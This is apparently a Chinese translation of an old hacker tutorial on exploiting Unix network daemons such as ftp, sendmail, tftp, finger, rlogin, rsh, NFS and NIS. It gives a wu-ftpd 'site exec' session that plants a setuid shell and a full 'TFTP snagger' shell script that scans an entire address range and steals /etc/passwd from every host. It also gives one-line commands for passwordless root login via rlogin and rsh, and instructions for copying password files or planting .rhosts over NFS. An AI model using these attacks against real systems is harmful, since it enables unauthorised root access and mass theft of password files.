守护进程(daemons)的攻击
网络主机通过建立在IP协议上的tcp(传输控制协议)协议或udp(用户数据协议)协议进行相互通信.其他协议也用在ip(因特网协议)上,但tcp和udp是我们感兴趣的.在unix系统中,文件etc/protocols列出了你的机器上所能使用的协议.
在会话层(osi七层模型)或网络层(DOD协议模型)中,数据通过端口在主机之间传送.每次数据通信都有一个源端口号和一个目的端口号.端口号可以分为两种类型,通用端口和动态分配的端口.在unix中,通用端口在文件/etc/services中定义.另外,RFC1700
"已分配的端口"提供了所有通用端口的列表.动态分配的端口是根据需要由系统分配的.
unix可以将叫做daemons的程序连上通用端口.远端主机连接通用端口,接着连上daemons程序.daemons程序通常由inetd(internet
daemon)启动.被执行的daemons程序在inetd配置文件/etc/inetd.conf中定义.
大多数这种daemons以特权用户身份运行,经常是以系统管理员身份运行.许多程序都有漏洞,可以被利用以进入远端系统。
我们所感兴趣的daemons程序如下:
服务
端口号
描述
ftp 21 文件传输(控制)
smtp25 简单邮件传输协议
tftp69 小文件传输协议
finger 79 finger程序
www-http
80 万维网http服务
sunrpc111 sun远程过程调用
fln-spx221 Berkeley rolgind with spx auth
rsh-spx222 Berkeley rshd with spx
auth
netinfo716-719 网络信息
ibm-res1405 IBM远端执行启动器
nfs2049 网络文件系统
xll6000-6063 X窗口操作系统
rcp/rshd
远端复制/远端shell程序
nis 网络信息服务
这篇文章的下一部分将关注具体的daemons程序和它们已知的漏洞。这里将简要解释系统漏洞。
对于更加复杂的漏洞探测,已超过这篇短文的范围,请读者自己多加研究。
--〉ftp
21
文件传输(控制)
ftp是文件传输协议的简写。ftp请求将由ftpd(一个ftp daemon程序)应答。在2.2以下版本的Wuarchive's
ftpd程序中有以下的漏洞:通过调用带有相对路径名("../"在前面)的"site
exec"命令,你可以操作任何你
能看到的代码。这儿有一个例子:
通过ftp登陆进系统:
220 uswest.com FTP server (Version wu-2.1(1) ready.
Name (uswest.com:waltman): waltman
331 Password required for waltman.
Password: jim
230 User waltman logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> quote "site exec cp
/bin/sh /tmp/.tno"
200-cp /bin/sh /tmp/tno
ftp> quote "site exec chmod
6755 /tmp/.tno"
200-chmod 6755 /tmp/tno
ftp> quit
221 Goodbye.
--〉smtp 25 简单邮件传输协议
邮件攻击是攻击internet主机的古老的方法之一。最常用的,也是最不安全的邮件daemon程序就是sendmail.其他邮件daemon程序包括smail,MMDF,和IDA
sendmail. Sendmail有如此之多的漏洞,以至于我们不能一一列举。有一篇专门介绍sendmail漏洞的完整的FAQ,因此我们在这里将不会做详细讨论。
"wizard mode"是一个因为历史意义而著名的漏洞。在wizard模式中你可以通过25号端口(SMTP端口)向shell发出请求。没有一个现代系统会对这种攻击表现出脆弱。利用这个漏洞,你telnet到25号端口,输入WIZ进入wizard模式,然后输入密码。问题与加密密码的存放方式有关。漏洞会使系统相信没有一个密码会比真实的密码更好。
引用steven bellovin的话如下:
wizard模式的意向行为是:如果你提供了正确密码,其他一些非标准SMTP命令将可以使用,尤其是提供你shell的命令。散列过的密码-一种与/etc/passwd加密方法相同的方法-储存在sendmail配置文件中。但却有一个漏洞;为了解释它,我有必要介绍一些关于sendmail和c编译器的秘密。
为了减小每次读取和解析配置文件的花销,sendmail采用称为"冷冻配置文件"的技术。
意图是好的,具体实现刚好相反。为了冷冻配置文件,sendmail把整个的动态内存区和bss区(该区在可执行文件中不占任何空间,在程序执行时由unix
内核全部清零)写入硬盘。bss区保存着所有在c源程序中没有被赋明确初值的变量。
实际上,当传递邮件时,sendmail只是把这些大块数据读回,读入两大块读集(英文是reads),
因此有必要将所有配置文件的信息存入bss或动态内存中,这需要大量的代码维护。
Wizard模式密码储存在动态分配的内存中,因此它可以正确冷冻。但在源文件中,指向它的指针被明确设为空:
Char *wiz=NULL;
这意味着它在初始化数据区,不在bbs中。因此它没有被存到冷冻配置中。因此,当配置文件被读取和冷冻,密码被读入和写出。而下一次sendmail运行时,指针将被重新置为零。(密码当然还存在,但无法找到它)并且,代码愚蠢地认为没有后门密码。
另一点值得注意的是,在检验中,sendmail做了在wizard模式下应该做的事。也就是说,它的确检验了
密码-因为你不是碰巧用一个冷冻的配置文件做wizard模式测试-并且大多数测试不会这样做-*wiz指针是正
确的。
--〉tftp
69
小文件传输协议
tftp是小文件传输协议。Tftp经常被用来夺取远端系统的密码文件。Tftp攻击是如此简单和可重复,以至于
有人写脚本来自动进行对整个领域的攻击。这儿就有一个脚本:
#!/bin/sh
########################################################################
#
TFTP snagger by Yo
# It snags /etc/passwd files from all hosts with open 69 (tftp)
port.
# scans all hosts from XX.XX.0.0 - XX.XX.255.255
# you can run it in the background in following way:
#
snag [hostname] > /dev/null &
# [hostname] might be used IP # (with -ip
option) as well as FQDN
#
Last Updated 10/20/92
#
#
Highly modified by ThePublic on 10/21/92
########################################################################
case $1 in
'')
echo " Usage: $0 [hostname] to run in the
foreground
"
echo "
$0 [hostname] > /dev/null & to run in the
background "
echo " The [hostname] can be specialized in fully
qualified domain name "
echo " i.e.- $0 nyx.cs.du.edu - and it'll scan all
du.edu domain. "
echo " as well as IP with -ip
option.
"
exit 1
;;
-ip)
if [ $2x = x ]; then
echo " Usage: $0 $1 the IP "
exit 1
else
x=`echo $2 | cut -d. -f1`
xx=`echo $2 | cut -d. -f2`
xxx=`echo $2 | cut -d. -f3`
xxxx=`echo $2 | cut -d. -f4`
#
^ field delimiter is '.' -- get field 1/2/3/4
fi;;
*)
if [ ! -f /usr/ucb/nslookup ] && [ ! -f /usr/local/bin/nslookup
]; then
# -x is for SunOs
echo sorry dude, no nslookup server .. try it with -ip
option.
exit 1
fi
x1=`nslookup $1 | fgrep "Address" | cut -c11-17 | tail
-1`
#
^ 7 chars ^ last line
if [ "$x1" = '' ]; then
echo " There is no such domain. Nothing to scan. Exit. "
exit 1
fi
x=`echo $x1 | cut -d. -f1` # get the first
set of #, ##, or ###
xx=`echo $x1 | cut -d. -f2` # get the second set
xxx=0
# ignore the rest, if any
xxxx=0
;;
esac
if [ $x -lt 1 ] || [ $x -ge 255 ] || [ $xx -lt 1 ] || [ $xx -ge 255
]; then
echo There is no such domain. Nothing to scan.
exit 1
fi
while [ $x -ne 255 ]; do
while [ $xx -ne 255 ]; do
while [ $xxx -ne 255 ]; do
while [ $xxxx -ne 255 ]; do
target=$x.$xx.$xxx.$xxxx
trap "echo The Process was stopped at $target;rm -rf
passwd.$target; exit 1" 2
tftp << EOF
c $target
mode ascii
trace
get /etc/passwd passwd.$target
quit
EOF
if [ ! -s passwd.$target ] ; then
rm -rf passwd.$target
echo `date` $target has rejected an attempt >> .info
else
mv passwd.$target .good.$target
echo `date` $target is taken, all data is
stored in .good.$target file >> .info
fi
xxxx=`expr $xxxx + 1 `
done
xxxx=0
xxx=`expr $xxx + 1 `
done
xxx=0
xx=`expr $xx + 1 `
done
xx=0
x=`expr $x + 1 `
done
---〉finger
79
finger
finger命令显示其它用户的信息,比如所知的登陆名,全名,终端名,呆滞时间,登陆时间和位置。Finger请求由finger
daemon程序应答。
Robert tappan morris的网络蠕虫用到了finger daemon程序。finger
daemon允许从远端主机发送至多
512比特作为Finger请求。然而,finger却有缓存溢出的漏洞,这是因为缺少正确的边界检查。
被finger的主机将任何超过512比特的东西解释成在本地执行的指令,无论finger
daemon的权限是什么。
--〉www-http
80 万维网http服务
html(超文本标记语言)允许网页用户在主机系统上执行程序。如果网页设计者允许网页使用者将参数输入命令中,与system()类型的调用有关的问题将使系统变得脆弱。而且,在某些环境下,漏洞将给你一个x-term,使用www服务器所运行的UID.(?)
--〉sunrpc 111 sun远程过程调用
sunrpc(远程过程调用)
允许在远端主机上执行过程。Rpc受到缺乏安全认证的困扰。为了利用rpc的
漏洞,你应该用一个叫做"ont"的软件,不难找到的
:)
--〉login 513 远程登陆
某些版本的AIX和linux受到这个漏洞的困扰:rlogin读取参数。利用这个漏洞,从远端主机上发布这个命令:
rlogin host -l -f root(?-l -f双参数吗?)
host是目标主机的地址,用户名随你便(通常用root).
如果目标主机上有这个漏洞,你可以不被询问密码就登陆。
--> rsh-spx222 berkeley rshd with spx auth(???)
某些版本的dynix和irix在rshd中有漏洞,这些漏洞允许你以系统管理员的身份执行命令.
利用这个漏洞,
从远端主机上发布这个命令:
rsh host -l "" /bin/sh
--> netinfo
716-719 网络信息
NeXT采用一种叫做NetInfo的协议,一台NeXT机器可以查询另一台机器的信息.一台NetInfo服务器默认对系统
数据库不加限制的进入.这可以由系统管理员来修补.
密码文件是NetInfo会提供的信息之一.
--> ibm-res
1405 ibm远程执行启动器
rexd(远程执行程序)允许你在另一台unix机器上执行程序.AIX,NeXt和HPUX版本的rexd有一个漏洞,允许非故意的远程执行.rexd程序检查你所来自机器的uid,因此你必须成为你执行rexd攻击所来自机器的系统管理员.为了确定你的攻击目标是否运行rexd,使用"rcp
-p <目标>"命令.你还需要漏洞攻击程序比如"on",你随处可得.
--> nfs2049 网络文件系统
NFS, 网络文件系统,来自SUN微型操作系统,受多方面的安全漏洞的困扰.另外,许多系统管理员错误的配置NFS,允许非故意的远程进入.使用命令"showmount
-e <目标>"你可以看到机器上输出什么样的文件系统.许多系统管理员允许/etc目录可读,是你可以复制密码文件.其他许多系统管理员允许/etc目录对用户可写,你可以制作.rhosts文件,通过rlogin和rsh进入机器.除了配置问题外,NFS还会受到利用以下漏洞进行的攻击:uid掩饰,mknod,常用文件句柄猜测.一些黑客攻击命令可以攻击以知的漏洞
--> xll6000-6063 x窗口系统
x窗口已经被许多漏洞困扰,现在还在继续.一个漏洞允许你进入另一个用户的显示器,另一个漏洞允许你知道其他人的击键.还有漏洞允许你进行远程攻击,运行根用户在.xsession文件里的所有程序.以及允许本地用户在/etc/passwd文件里创建一个根用户的进入权限.
--> rcp/rshd
SunOs 4.0.x rcp可以被任何列在/etc/hosts.equiv 或/.rhosts里的信任主机所侵入.为了利用这一漏洞,你必
须在unix系统上运行NFS(网络文件系统)或在dos系统上运行pc/nfs.
--> NIS
SUN的NIS(网络信息服务),也被称作黄页,有漏洞---如果你知道目标系统的NIS域名,你可以从另一个NIS域查
询NIS地图.没有办法查询远端系统来得到NIS域名,但许多NIS域名很容易猜出来.最常被查询的NIS地图是pass
wd.byname,即/etc/passwd的NIS实现.另外,如果你进入无硬盘unix工作站,你可以断定它boot的服务器的域名.
注意:不要把NIS域名和DNS域名混淆.
--> 其他攻击
除了这些基于daemons的攻击,其他手段也可以用来进入远端系统.包括,但不局限于:默认账户,
猜测密码,sniffing,源路由,DNS路由攻击,tcp顺序预测和uucp配置攻击.
本文可以给你一个概念:基于daemons的攻击是怎样工作的.这绝不是有权限的网络daemons安全漏洞完整列表.为了获取更多关于daemons如何工作的信息,以及如何利用它们的弱点,我推荐你们去看源代码,个人主页和RFC's.